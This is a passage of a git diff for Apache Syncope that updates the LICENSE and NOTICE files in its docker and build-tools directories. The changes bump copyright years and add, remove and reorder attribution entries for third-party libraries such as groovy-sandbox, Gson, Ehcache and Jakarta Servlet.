licensed under the MIT license, see above. == -For MojoHaus AnimalSniffer Maven Plugin (https://github.com/mojohaus/animal-sniffer): -This is licensed under the MIT license, see above. - -== - For StAX2 API (http://wiki.fasterxml.com/WoodstoxStax2): This is licensed under the BSD license, see above. @@ -1077,6 +1077,11 @@ This is licensed under the AL 2.0, see above. == +For groovy-sandbox (https://github.com/craftercms/groovy-sandbox): +This is licensed under the MIT license, see above. + +== + For Cryptacular (https://github.com/vt-middleware/cryptacular): This is licensed under the AL 2.0, see above. diff --git a/docker/core/NOTICE b/docker/core/NOTICE index cbe155e22d5..ebb8354bed9 100644 --- a/docker/core/NOTICE +++ b/docker/core/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2023 The Apache Software Foundation +Copyright 2012-2025 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). @@ -35,11 +35,6 @@ This product includes software developed by J2ObjC: Java to Objective-C Translat == -This product includes software developed by mchange-commons-java -Copyright (C) 2015 Machinery For Change, Inc. - -== - This product includes software developed by Nimbus Content Type Copyright 2020, Connect2id Ltd @@ -60,13 +55,8 @@ Copyright 2012-2022, Connect2id Ltd == -This product includes software produced and maintained by Eclipse Metro -All content is the property of the respective authors or their employers. - -== - -This product includes software developed by QDox. -Copyright 2002-2009 Joe Walnes and QDox Project Team +This product includes software developed by Jakarta Mail +Copyright (c) 1997, 2021 Oracle and/or its affiliates. All rights reserved. == @@ -99,7 +89,7 @@ Copyright (c) 2020 Luke Hutchison == -This product includes software developed by Micrometer Application Metrics +This product includes software developed by Micrometer Application Metrics. Copyright (c) 2017-Present VMware, Inc. All Rights Reserved. == @@ -124,6 +114,11 @@ All content is the property of the respective authors or their employers. == +This product includes software developed by the Eclipse Project for Jakarta Servlet. +Copyright (c) 1997, 2024 Oracle and/or its affiliates and others. All rights reserved. + +== + This product includes software produced and maintained by the Jakarta WebSocket project. All content is the property of the respective authors or their employers. @@ -162,6 +157,12 @@ Copyright 2011-2016 Tirasa S.r.l. All rights reserved. == +This product includes software developed by Groovy Security Sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors +Copyright (c) 2025 Tirasa + +== + This product includes software developed by the ANTLR project. Copyright (c) 2012 Terence Parr and Sam Harwell. All rights reserved. @@ -182,16 +183,16 @@ Copyright (c) 2004-present by the Checker Framework developers == -This product includes software developed by MojoHaus AnimalSniffer Maven Plugin -Copyright (c) 2009, codehaus.org +This product includes software developed by the Stax 2 Extension API Project. == -This product includes software developed by the Stax 2 Extension API Project. +This product includes software developed by the Woodstox Project. == -This product includes software developed by the Woodstox Project. +This product includes software developed by groovy-sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors == diff --git a/docker/wa/LICENSE b/docker/wa/LICENSE index 6dec4fe5fe6..4811ccc022d 100644 --- a/docker/wa/LICENSE +++ b/docker/wa/LICENSE @@ -208,7 +208,7 @@ This is Public Domain. == -For Bootstrap (http://getbootstrap.com/): +For balanced-match (https://github.com/juliangruber/balanced-match): This is licensed under the MIT license: Permission is hereby granted, free of charge, to any person obtaining @@ -232,6 +232,16 @@ This is licensed under the MIT license: == +For base64-js (https://github.com/beatgammit/base64-js): +This is licensed under the MIT license, see above. + +== + +For Bootstrap (http://getbootstrap.com/): +This is licensed under the MIT license, see above. + +== + For bootstrap-select (http://silviomoreto.github.io/bootstrap-select/): This is licensed under the MIT license, see above. @@ -457,6 +467,16 @@ This is licensed under the AL 2.0, see above. == +For FindBugs-jsr305 (http://findbugs.sourceforge.net/): +This is licensed under the AL 2.0, see above. + +== + +For Gson (https://github.com/google/gson): +This is licensed under the AL 2.0, see above. + +== + For Error Prone (https://errorprone.info/): This is licensed under the AL 2.0, see above. @@ -482,7 +502,62 @@ This is licensed under the AL 2.0, see above. == -For mchange-commons-java (https://github.com/swaldman/mchange-commons-java): +For Microsoft OAuth 2.0 User Agent library for Java (https://github.com/Microsoft/oauth2-useragent): +This is licensed under the MIT license, see above. + +== + +For Microsoft Azure Active Directory Authentication Library (ADAL) for Java (https://github.com/AzureAD/azure-activedirectory-library-for-java): +This is licensed under the MIT license, see above. + +== + +For Nimbus Content Type (https://bitbucket.org/connect2id/nimbus-content-type/): +This is licensed under the AL 2.0, see above. + +== + +For Nimbus Language Tags (https://bitbucket.org/connect2id/nimbus-language-tags/): +This is licensed under the AL 2.0, see above. + +== + +For Nimbus JOSE-JWT (https://bitbucket.org/connect2id/nimbus-jose-jwt): +This is licensed under the AL 2.0, see above. + +== + +For OAuth 2.0 SDK with OpenID Connect extensions (https://bitbucket.org/connect2id/oauth-2.0-sdk-with-openid-connect-extensions/): +This is licensed under the AL 2.0, see above. + +== + +For Okta Java Management SDK (https://github.com/okta/okta-sdk-java): +This is licensed under the AL 2.0, see above. + +== + +For Moshi (https://square.github.io/moshi/1.x): +This is licensed under the AL 2.0, see above. + +== + +For OkHttp (https://square.github.io/okhttp/): +This is licensed under the AL 2.0, see above. + +== + +For Okio (https://square.github.io/okio/): +This is licensed under the AL 2.0, see above. + +== + +For Retrofit (https://square.github.io/retrofit/): +This is licensed under the AL 2.0, see above. + +== + +For Jakarta Mail: This is licensed under the EPL 1.0: Eclipse Public License - v 1.0 @@ -691,56 +766,6 @@ any resulting litigation. == -For Microsoft OAuth 2.0 User Agent library for Java (https://github.com/Microsoft/oauth2-useragent): -This is licensed under the MIT license, see above. - -== - -For Nimbus Content Type (https://bitbucket.org/connect2id/nimbus-content-type/): -This is licensed under the AL 2.0, see above. - -== - -For Nimbus Language Tags (https://bitbucket.org/connect2id/nimbus-language-tags/): -This is licensed under the AL 2.0, see above. - -== - -For Nimbus JOSE-JWT (https://bitbucket.org/connect2id/nimbus-jose-jwt): -This is licensed under the AL 2.0, see above. - -== - -For OAuth 2.0 SDK with OpenID Connect extensions (https://bitbucket.org/connect2id/oauth-2.0-sdk-with-openid-connect-extensions/): -This is licensed under the AL 2.0, see above. - -== - -For Moshi (https://square.github.io/moshi/1.x): -This is licensed under the AL 2.0, see above. - -== - -For OkHttp (https://square.github.io/okhttp/): -This is licensed under the AL 2.0, see above. - -== - -For Okio (https://square.github.io/okio/): -This is licensed under the AL 2.0, see above. - -== - -For Retrofit (https://square.github.io/retrofit/): -This is licensed under the AL 2.0, see above. - -== - -For Jakarta Mail: -This is licensed under the EPL 1.0, see above. - -== - For JAX-B (http://jaxb.java.net/): This is licensed under the CDDL 1.0: @@ -1192,6 +1217,11 @@ This is Public Domain. == +For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): +This is licensed under the MIT license, see above. + +== + For DataTables (https://datatables.net/): This is licensed under the MIT license, see above. @@ -1227,6 +1257,11 @@ This is licensed under the MIT license, see above. == +For get-css-data (https://github.com/jhildenbiddle/get-css-data): +This is licensed under the MIT license, see above. + +== + For HAL Explorer (https://github.com/toedter/hal-explorer/): This is licensed under the MIT license, see above. @@ -1247,6 +1282,11 @@ This is licensed under the MIT license, see above. == +For jsonwebtoken.io (https://jsonwebtoken.io): +This is licensed under the AL 2.0, see above. + +== + For Micrometer Application Metrics (https://micrometer.io/): This is licensed under the AL 2.0, see above. @@ -1277,6 +1317,11 @@ This is licensed under the EPL 1.0, see above. == +For Jakarta Servlet (https://projects.eclipse.org/projects/ee4j.servlet): +This is licensed under the EPL 1.0, see above. + +== + For Jakarta WebSocket API (https://projects.eclipse.org/projects/ee4j.websocket): This is licensed under the EPL 1.0, see above. @@ -1292,6 +1337,11 @@ This is licensed under the CDDL 1.0, see above. == +For JSR107 (JCache) (https://github.com/jsr107/jsr107spec): +This is licensed under the AL 2.0, see above. + +== + For Expression Language 3.0 API (https://javaee.github.io/uel-ri/): This is licensed under the CDDL 1.0, see above. @@ -1332,6 +1382,16 @@ This is licensed under the MIT license, see above. == +For Material Components for the web (https://github.com/material-components/material-components-web): +This is licensed under the MIT license, see above. + +== + +For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): +This is licensed under the MIT license, see above. + +== + For Byte Buddy (https://bytebuddy.net/): This is licensed under the AL 2.0, see above. @@ -1352,6 +1412,11 @@ This is licensed under the AL 2.0, see above. == +For normalize.css (http://necolas.github.io/normalize.css/): +This is licensed under the MIT license, see above. + +== + For Groovy Extensions (https://github.com/ultraq/groovy-extensions/): This is licensed under the AL 2.0, see above. @@ -1432,11 +1497,21 @@ This is licensed under the AL 2.0, see above. == +For Ehcache (http://ehcache.org/): +This is licensed under the AL 2.0, see above. + +== + For Java EE API modules repackaged as OSGi bundles in GlassFish: This is licensed under the CDDL 1.0, see above. == +For Glassfish Expression Language Implementation: +This is licensed under the CDDL 1.0, see above. + +== + For Jakarta JSON Processing (https://projects.eclipse.org/projects/ee4j.jsonp): This is licensed under the EPL 1.0, see above. @@ -1597,56 +1672,6 @@ This is licensed under the MIT license, see above. == -For balanced-match (https://github.com/juliangruber/balanced-match): -This is licensed under the MIT license, see above. - -== - -For base64-js (https://github.com/beatgammit/base64-js): -This is licensed under the MIT license, see above. - -== - -For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): -This is licensed under the MIT license, see above. - -== - -For get-css-data (https://github.com/jhildenbiddle/get-css-data): -This is licensed under the MIT license, see above. - -== - -For Material Components for the web (https://github.com/material-components/material-components-web): -This is licensed under the MIT license, see above. - -== - -For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): -This is licensed under the MIT license, see above. - -== - -For normalize.css (http://necolas.github.io/normalize.css/): -This is licensed under the MIT license, see above. - -== - -For text-encoding (https://github.com/inexorabletash/text-encoding): -This is licensed under the AL 2.0, see above. - -== - -For tslib (https://github.com/Microsoft/tslib): -This is licensed under the BSD license, see above. - -== - -For window.fetch polyfill (https://github.github.io/fetch/): -This is licensed under the MIT license, see above. - -== - For Wildfly (https://www.wildfly.org/): This is licensed under the AL 2.0, see above. @@ -1657,148 +1682,6 @@ This is licensed under the AL 2.0, see above. == -For Webjars-locator core functionality (https://github.com/webjars/webjars-locator-core): -This is licensed under the MIT license, see above. -tis.org/): -This is licensed under the AL 2.0, see above. - -== - -For Objenesis (http://objenesis.org/): -This is licensed under the AL 2.0, see above. - -== - -For Open SAML-Java (https://shibboleth.net/products/opensaml-java.html): -This is licensed under the AL 2.0, see above. - -== - -For ASM (http://asm.ow2.org/): -This is licensed under the BSD license, see above. - -== - -For Reactive Streams (https://www.pac4j.org/): -This is licensed under the AL 2.0, see above. - -== - -For Passay (https://www.passay.org/): -This is licensed under the AL 2.0, see above. - -== - -For Project Lombok (https://projectlombok.org/): -This is licensed under the MIT license, see above. - -== - -For Quartz Scheduler (http://quartz-scheduler.org/): -This is licensed under the AL 2.0, see above. - -== - -For Reactive Streams (http://www.reactive-streams.org/): -This is licensed under the CC0 1.0, see above. - -== - -For Reflections (https://github.com/ronmamo/reflections): -This is licensed under the BSD license, see above. - -== - -For Simple Logging Facade for Java - SLF4J (http://www.slf4j.org/): -This is licensed under the MIT license, see above. - -== - -For Spring openapi documentation (https://springdoc.org/): -This is licensed under the AL 2.0, see above. - -== - -For Spring (https://spring.io/projects): -This is licensed under the AL 2.0, see above. - -== - -For spring-modules-cache: -This is licensed under the AL 2.0, see above. - -== - -For Thymeleaf (https://www.thymeleaf.org/): -This is licensed under the AL 2.0, see above. - -== - -For unbescape (https://www.unbescape.org/): -This is licensed under the AL 2.0, see above. - -== - -For Chart.js (http://www.chartjs.org/): -This is licensed under the AL 2.0, see above. - -== - -For Moment.js (http://momentjs.com/): -This is licensed under the MIT license, see above. - -== - -For zxcvbn (https://github.com/dropbox/zxcvbn): -This is licensed under the MIT license, see above. - -== - -For balanced-match (https://github.com/juliangruber/balanced-match): -This is licensed under the MIT license, see above. - -== - -For base64-js (https://github.com/beatgammit/base64-js): -This is licensed under the MIT license, see above. - -== - -For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): -This is licensed under the MIT license, see above. - -== - -For get-css-data (https://github.com/jhildenbiddle/get-css-data): -This is licensed under the MIT license, see above. - -== - -For Inputmask (https://github.com/RobinHerbots/Inputmask): -This is licensed under the MIT license, see above. - -== - -For Material Components for the web (https://github.com/material-components/material-components-web): -This is licensed under the MIT license, see above. - -== - -For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): -This is licensed under the MIT license, see above. - -== - -For normalize.css (http://necolas.github.io/normalize.css/): -This is licensed under the MIT license, see above. - -== - -For Summernote (https://summernote.org/): -This is licensed under the MIT license, see above. - -== - For text-encoding (https://github.com/inexorabletash/text-encoding): This is licensed under the AL 2.0, see above. @@ -1809,252 +1692,10 @@ This is licensed under the BSD license, see above. == -For window.fetch polyfill (https://github.github.io/fetch/): -This is licensed under the MIT license, see above. - -== - -For SnakeYAML (http://www.snakeyaml.org/): -This is licensed under the AL 2.0, see above. - -== - -For popper.js (https://github.com/FezVrasta/popper.js): -This is licensed under the MIT license, see above. - -== - -For spin.js (http://spin.js.org/): -This is licensed under the MIT license, see above. - -== - -For Tempus Dominus Bootstrap 4 Datetime Picker (https://github.com/tempusdominus/bootstrap-4): -This is licensed under the MIT license, see above. - -== - -For typeahead.js (http://twitter.github.io/typeahead.js/): -This is licensed under the MIT license, see above. - -== - For Webjars-locator core functionality (https://github.com/webjars/webjars-locator-core): This is licensed under the MIT license, see above. == -For Web Services Description Language for Java (http://wsdl4j.sourceforge.net/): -This is licensed under the CPL: - -THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS COMMON PUBLIC -LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THE PROGRAM -CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT. - -1. DEFINITIONS - -"Contribution" means: - -a) in the case of the initial Contributor, the initial code and -documentation distributed under this Agreement, and - -b) in the case of each subsequent Contributor: - -i) changes to the Program, and - -ii) additions to the Program; - -where such changes and/or additions to the Program originate from and are -distributed by that particular Contributor. A Contribution 'originates' from a -Contributor if it was added to the Program by such Contributor itself or anyone -acting on such Contributor's behalf. Contributions do not include additions to -the Program which: (i) are separate modules of software distributed in -conjunction with the Program under their own license agreement, and (ii) are not -derivative works of the Program. - -"Contributor" means any person or entity that distributes the Program. - -"Licensed Patents " mean patent claims licensable by a Contributor which are -necessarily infringed by the use or sale of its Contribution alone or when -combined with the Program. - -"Program" means the Contributions distributed in accordance with this Agreement. - -"Recipient" means anyone who receives the Program under this Agreement, -including all Contributors. - -2. GRANT OF RIGHTS - -a) Subject to the terms of this Agreement, each Contributor hereby grants -Recipient a non-exclusive, worldwide, royalty-free copyright license to -reproduce, prepare derivative works of, publicly display, publicly perform, -distribute and sublicense the Contribution of such Contributor, if any, and such -derivative works, in source code and object code form. - -b) Subject to the terms of this Agreement, each Contributor hereby grants -Recipient a non-exclusive, worldwide, royalty-free patent license under Licensed -Patents to make, use, sell, offer to sell, import and otherwise transfer the -Contribution of such Contributor, if any, in source code and object code form. -This patent license shall apply to the combination of the Contribution and the -Program if, at the time the Contribution is added by the Contributor, such -addition of the Contribution causes such combination to be covered by the -Licensed Patents. The patent license shall not apply to any other combinations -which include the Contribution. No hardware per se is licensed hereunder. - -c) Recipient understands that although each Contributor grants the licenses -to its Contributions set forth herein, no assurances are provided by any -Contributor that the Program does not infringe the patent or other intellectual -property rights of any other entity. Each Contributor disclaims any liability to -Recipient for claims brought by any other entity based on infringement of -intellectual property rights or otherwise. As a condition to exercising the -rights and licenses granted hereunder, each Recipient hereby assumes sole -responsibility to secure any other intellectual property rights needed, if any. -For example, if a third party patent license is required to allow Recipient to -distribute the Program, it is Recipient's responsibility to acquire that license -before distributing the Program. - -d) Each Contributor represents that to its knowledge it has sufficient -copyright rights in its Contribution, if any, to grant the copyright license set -forth in this Agreement. - -3. REQUIREMENTS - -A Contributor may choose to distribute the Program in object code form under its -own license agreement, provided that: - -a) it complies with the terms and conditions of this Agreement; and - -b) its license agreement: - -i) effectively disclaims on behalf of all Contributors all warranties and -conditions, express and implied, including warranties or conditions of title and -non-infringement, and implied warranties or conditions of merchantability and -fitness for a particular purpose; - -ii) effectively excludes on behalf of all Contributors all liability for -damages, including direct, indirect, special, incidental and consequential -damages, such as lost profits; - -iii) states that any provisions which differ from this Agreement are offered -by that Contributor alone and not by any other party; and - -iv) states that source code for the Program is available from such -Contributor, and informs licensees how to obtain it in a reasonable manner on or -through a medium customarily used for software exchange. - -When the Program is made available in source code form: - -a) it must be made available under this Agreement; and - -b) a copy of this Agreement must be included with each copy of the Program. - -Contributors may not remove or alter any copyright notices contained within the -Program. - -Each Contributor must identify itself as the originator of its Contribution, if -any, in a manner that reasonably allows subsequent Recipients to identify the -originator of the Contribution. - -4. COMMERCIAL DISTRIBUTION - -Commercial distributors of software may accept certain responsibilities with -respect to end users, business partners and the like. While this license is -intended to facilitate the commercial use of the Program, the Contributor who -includes the Program in a commercial product offering should do so in a manner -which does not create potential liability for other Contributors. Therefore, if -a Contributor includes the Program in a commercial product offering, such -Contributor ("Commercial Contributor") hereby agrees to defend and indemnify -every other Contributor ("Indemnified Contributor") against any losses, damages -and costs (collectively "Losses") arising from claims, lawsuits and other legal -actions brought by a third party against the Indemnified Contributor to the -extent caused by the acts or omissions of such Commercial Contributor in -connection with its distribution of the Program in a commercial product -offering. The obligations in this section do not apply to any claims or Losses -relating to any actual or alleged intellectual property infringement. In order -to qualify, an Indemnified Contributor must: a) promptly notify the Commercial -Contributor in writing of such claim, and b) allow the Commercial Contributor to -control, and cooperate with the Commercial Contributor in, the defense and any -related settlement negotiations. The Indemnified Contributor may participate in -any such claim at its own expense. - -For example, a Contributor might include the Program in a commercial product -offering, Product X. That Contributor is then a Commercial Contributor. If that -Commercial Contributor then makes performance claims, or offers warranties -related to Product X, those performance claims and warranties are such -Commercial Contributor's responsibility alone. Under this section, the -Commercial Contributor would have to defend claims against the other -Contributors related to those performance claims and warranties, and if a court -requires any other Contributor to pay any damages as a result, the Commercial -Contributor must pay those damages. - -5. NO WARRANTY - -EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN -"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR -IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, -NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each -Recipient is solely responsible for determining the appropriateness of using and -distributing the Program and assumes all risks associated with its exercise of -rights under this Agreement, including but not limited to the risks and costs of -program errors, compliance with applicable laws, damage to or loss of data, -programs or equipment, and unavailability or interruption of operations. - -6. DISCLAIMER OF LIABILITY - -EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY -CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST -PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, -STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY -OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS -GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. - -7. GENERAL - -If any provision of this Agreement is invalid or unenforceable under applicable -law, it shall not affect the validity or enforceability of the remainder of the -terms of this Agreement, and without further action by the parties hereto, such -provision shall be reformed to the minimum extent necessary to make such -provision valid and enforceable. - -If Recipient institutes patent litigation against a Contributor with respect to -a patent applicable to software (including a cross-claim or counterclaim in a -lawsuit), then any patent licenses granted by that Contributor to such Recipient -under this Agreement shall terminate as of the date such litigation is filed. In -addition, if Recipient institutes patent litigation against any entity -(including a cross-claim or counterclaim in a lawsuit) alleging that the Program -itself (excluding combinations of the Program with other software or hardware) -infringes such Recipient's patent(s), then such Recipient's rights granted under -Section 2(b) shall terminate as of the date such litigation is filed. - -All Recipient's rights under this Agreement shall terminate if it fails to -comply with any of the material terms or conditions of this Agreement and does -not cure such failure in a reasonable period of time after becoming aware of -such noncompliance. If all Recipient's rights under this Agreement terminate, -Recipient agrees to cease use and distribution of the Program as soon as -reasonably practicable. However, Recipient's obligations under this Agreement -and any licenses granted by Recipient relating to the Program shall continue and -survive. - -Everyone is permitted to copy and distribute copies of this Agreement, but in -order to avoid inconsistency the Agreement is copyrighted and may only be -modified in the following manner. The Agreement Steward reserves the right to -publish new versions (including revisions) of this Agreement from time to time. -No one other than the Agreement Steward has the right to modify this Agreement. -IBM is the initial Agreement Steward. IBM may assign the responsibility to serve -as the Agreement Steward to a suitable separate entity. Each new version of the -Agreement will be given a distinguishing version number. The Program (including -Contributions) may always be distributed subject to the version of the Agreement -under which it was received. In addition, after a new version of the Agreement -is published, Contributor may elect to distribute the Program (including its -Contributions) under the new version. Except as expressly stated in Sections -2(a) and 2(b) above, Recipient receives no rights or licenses to the -intellectual property of any Contributor under this Agreement, whether -expressly, by implication, estoppel or otherwise. All rights in the Program not -expressly granted under this Agreement are reserved. - -This Agreement is governed by the laws of the State of New York and the -intellectual property laws of the United States of America. No party to this -Agreement will bring a legal action under this Agreement more than one year -after the cause of action arose. Each party waives its rights to a jury trial in -any resulting litigation. +For window.fetch polyfill (https://github.github.io/fetch/): +This is licensed under the MIT license, see above. diff --git a/docker/wa/NOTICE b/docker/wa/NOTICE index b4e6316c566..67ec569b6c2 100644 --- a/docker/wa/NOTICE +++ b/docker/wa/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2023 The Apache Software Foundation +Copyright 2012-2025 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). @@ -13,6 +13,16 @@ This product includes software developed by the AOP Alliance (Java/J2EE AOP stan == +This product includes software developed by balanced-match +Copyright (c) 2013 Julian Gruber + +== + +This product includes software developed by base64-js +Copyright (c) 2014 Jameson Little + +== + This product includes software developed by the Bootstrap project. Copyright (c) 2011-2016 Twitter, Inc. @@ -57,6 +67,11 @@ Copyright (c) 2010 Pablo Fernandez == +This product includes software developed by the Gson project. +Copyright (c) 2008 Google Inc. + +== + This product includes software developed by Error Prone. == @@ -75,13 +90,13 @@ Copyright: 2007-2020, ZXing authors == -This product includes software developed by mchange-commons-java -Copyright (C) 2015 Machinery For Change, Inc. +This product includes software developed by Microsoft OAuth 2.0 User Agent library for Java +Copyright (c) Microsoft Corporation == -This product includes software developed by Microsoft OAuth 2.0 User Agent library for Java -Copyright (c) Microsoft Corporation +This product includes software developed by Microsoft Azure Active Directory Authentication Library (ADAL) for Java +Copyright (c) Microsoft Corporation. All rights reserved. == @@ -115,6 +130,11 @@ Copyright (c) 2022 Square, Inc. == +This product includes software developed by Okio +Copyright 2013 Square, Inc. + +== + This product includes software developed by Retrofit Copyright 2014 Square, Inc. @@ -164,6 +184,11 @@ This product includes software developed by Dough Lea == +This product includes software developed by css-vars-ponyfill +Copyright (c) 2018 John Hildenbiddle + +== + This product includes software developed by DataTables Copyright (c) 2008-present, SpryMedia Limited @@ -194,6 +219,11 @@ Copyright (C) 2009-2016 Kristopher Michael Kowal and contributors == +This product includes software developed by get-css-data +Copyright (c) 2018 John Hildenbiddle + +== + This product includes software developed by HAL Explorer Copyright (c) 2022 Kai Toedter @@ -214,7 +244,12 @@ Copyright (c) 2020 Luke Hutchison == -This product includes software developed by Micrometer Application Metrics +This product includes software developed by jsonwebtoken.io. +Copyright (C) 2014-2023 jsonwebtoken.io + +== + +This product includes software developed by Micrometer Application Metrics. Copyright (c) 2017-Present VMware, Inc. All Rights Reserved. == @@ -234,6 +269,11 @@ All content is the property of the respective authors or their employers. == +This product includes software developed by the Eclipse Project for Jakarta Servlet. +Copyright (c) 1997, 2024 Oracle and/or its affiliates and others. All rights reserved. + +== + This product includes software produced and maintained by the Jakarta WebSocket project. All content is the property of the respective authors or their employers. @@ -250,6 +290,11 @@ Copyright (c) 2012-2013 Oracle and/or its affiliates. All rights reserved. == +This product includes software developed by JSR107 (JCache). +Copyright (c) JSR107 Expert Group + +== + This product includes software developed by Expression Language 3.0 API Copyright (c) 1997-2013 Oracle and/or its affiliates. All rights reserved. @@ -291,13 +336,18 @@ Copyright 2007, 2016 jQuery Foundation and other contributors. == +This product includes software developed by Material Components for the web +Copyright 2018 Google Inc. + +== + This product includes software developed by Byte Buddy Copyright 2014 - Present Rafael Winterhalter == -This product includes software developed by Groovy Extensions -Copyright 2022, Emanuel Rabina (http://www.ultraq.net.nz/) +This product includes software developed by normalize.css +Copyright © Nicolas Gallagher and Jonathan Neal == @@ -354,11 +404,21 @@ This product includes software developed by the Woodstox Project. == +This product includes software developed by Terracotta. Inc. +Ehcache source code and documentation are Copyright (c) Terracotta, Inc. + +== + This product includes software developed by Java EE API modules repackaged as OSGi bundles in GlassFish Copyright (c) 1997-2011 Oracle and/or its affiliates. All rights reserved. == +This product includes software developed by Glassfish Expression Language Implementation. +Copyright (c) 1997-2011 Oracle and/or its affiliates. All rights reserved. + +== + This product includes software produced and maintained by Jakarta JSON Processing All content is the property of the respective authors or their employers. @@ -481,33 +541,7 @@ Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc. == -This product includes software developed by balanced-match -Copyright (c) 2013 Julian Gruber - -== - -This product includes software developed by base64-js -Copyright (c) 2014 Jameson Little - -== - -This product includes software developed by css-vars-ponyfill -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by get-css-data -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by Material Components for the web -Copyright 2018 Google Inc. - -== - -This product includes software developed by normalize.css -Copyright © Nicolas Gallagher and Jonathan Neal +This product includes software developed by the SnakeYAML project. == @@ -516,204 +550,10 @@ Copyright (c) Microsoft Corporation. == -This product includes software developed by window.fetch polyfill -Copyright (c) 2014-2016 GitHub, Inc. - -== - -This product includes software developed by the SnakeYAML project. - -== - This product includes software developed by Webjars-locator core functionality Copyright (c) 2013 James Ward -YPT team. All Rights Reserved - -== - -This product includes softare developed by the Javassist project. -Copyright (C) 1999- by Shigeru Chiba, All rights reserved. - -== - -This product includes software developed by the JDOM project. - Copyright (C) 2000-2012 Jason Hunter & Brett McLaughlin. - All rights reserved. - -== - -This product includes software developed by JetBrains Java Annotations -Copyright 2000-2021 JetBrains s.r.o. - -== - -This product includes software developed by jOOL -Copyright (c), Data Geekery GmbH, contact@datageekery.com - -== - -This product includes software developed by JSON in Java -Copyright (c) 2002 JSON.org - -== - -This product includes software developed by Ldaptive Java Library -Copyright (C) 2003-2021 Virginia Tech. All Rights Reserved. - -== - -This product includes software developed by the Liquibase project. - -== - -This product includes software developed by the MyBatis project. - -== - -This product includes software developed by Objenesis -Copyright 2006-2022 the original author or authors. - -== - -This product includes software developed by the Shibboleth project. - -== - -This product includes software developed by the ASM project. -Copyright (c) 2000-2011 INRIA, France Telecom -All rights reserved. - -== - -This product includes software developed by Passay -Copyright (C) 2003-2022 Virginia Tech. All rights reserved. - -== - -This product includes software developed by Project Lombok -Copyright (C) 2009-2021 The Project Lombok Authors. - -== - -This product includes software developed by Terracotta. Inc. -Quartz Scheduler source code and documentation are Copyright (c) Terracotta, Inc. - -== - -This product includes software developed by the Reflections project. - -== - -This products includes software developed by the Simple Logging Facade for Java (SLF4J) project. -Copyright (c) 2004-2016 QOS.ch. - -== - -This product includes software developed by Spring openapi documentation -Copyright 2019-2020 the original author or authors. - -== - -This product includes software developed by SpringSource. -Copyright (c) 2004-2022 SpringSource -All rights reserved. - -== - -This product includes software developed by Thymeleaf -Copyright (c) 2011-2018, The THYMELEAF team (http://www.thymeleaf.org) - -== - -This product includes software developed by unbescape -Copyright 2012 Twitter, Inc. - -== - -This product includes software developed by the Chart.js project. -Copyright (c) 2018 Chart.js Contributors - -== - -This product includes software developed by Moment.js. -Copyright (c) JS Foundation and other contributors - -== - -This product includes software developed by zxcvbn -Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc. - -== - -This product includes software developed by balanced-match -Copyright (c) 2013 Julian Gruber - -== - -This product includes software developed by base64-js -Copyright (c) 2014 Jameson Little - -== - -This product includes software developed by css-vars-ponyfill -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by get-css-data -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by Inputmask -Copyright (c) 2010 - 2018 Robin Herbots - -== - -This product includes software developed by Material Components for the web -Copyright 2018 Google Inc. - -== - -This product includes software developed by normalize.css -Copyright © Nicolas Gallagher and Jonathan Neal - -== - -This product includes software developed by Summernote -Copyright (c) 2015~ Summernote Team (https://github.com/orgs/summernote/people) - -== - -This product includes software developed by tslib -Copyright (c) Microsoft Corporation. == This product includes software developed by window.fetch polyfill Copyright (c) 2014-2016 GitHub, Inc. - -== - -This product includes software developed by the SnakeYAML project. - -== - -This product includes software developed by popper.js -Copyright (c) 2021 Floating UI contributors - -== - -This product includes software developed by Tempus Dominus Bootstrap 4 Datetime Picker -Copyright (c) 2016 Tempus Dominus - -== - -This product includes software developed by Webjars-locator core functionality -Copyright (c) 2013 James Ward - -== - -This product includes software developed by the Web Services Description Language for Java project. -Copyright (c) Dice. -All Rights Reserved. diff --git a/fit/build-tools/LICENSE b/fit/build-tools/LICENSE index f07c250800f..45f46307b93 100644 --- a/fit/build-tools/LICENSE +++ b/fit/build-tools/LICENSE @@ -208,11 +208,6 @@ This is licensed under the AL 2.0, see above. == -For Caffeine (https://github.com/ben-manes/caffeine): -This is licensed under the AL 2.0, see above. - -== - For H2 (http://www.h2database.com/): This is licensed under the EPL 1.0: @@ -437,7 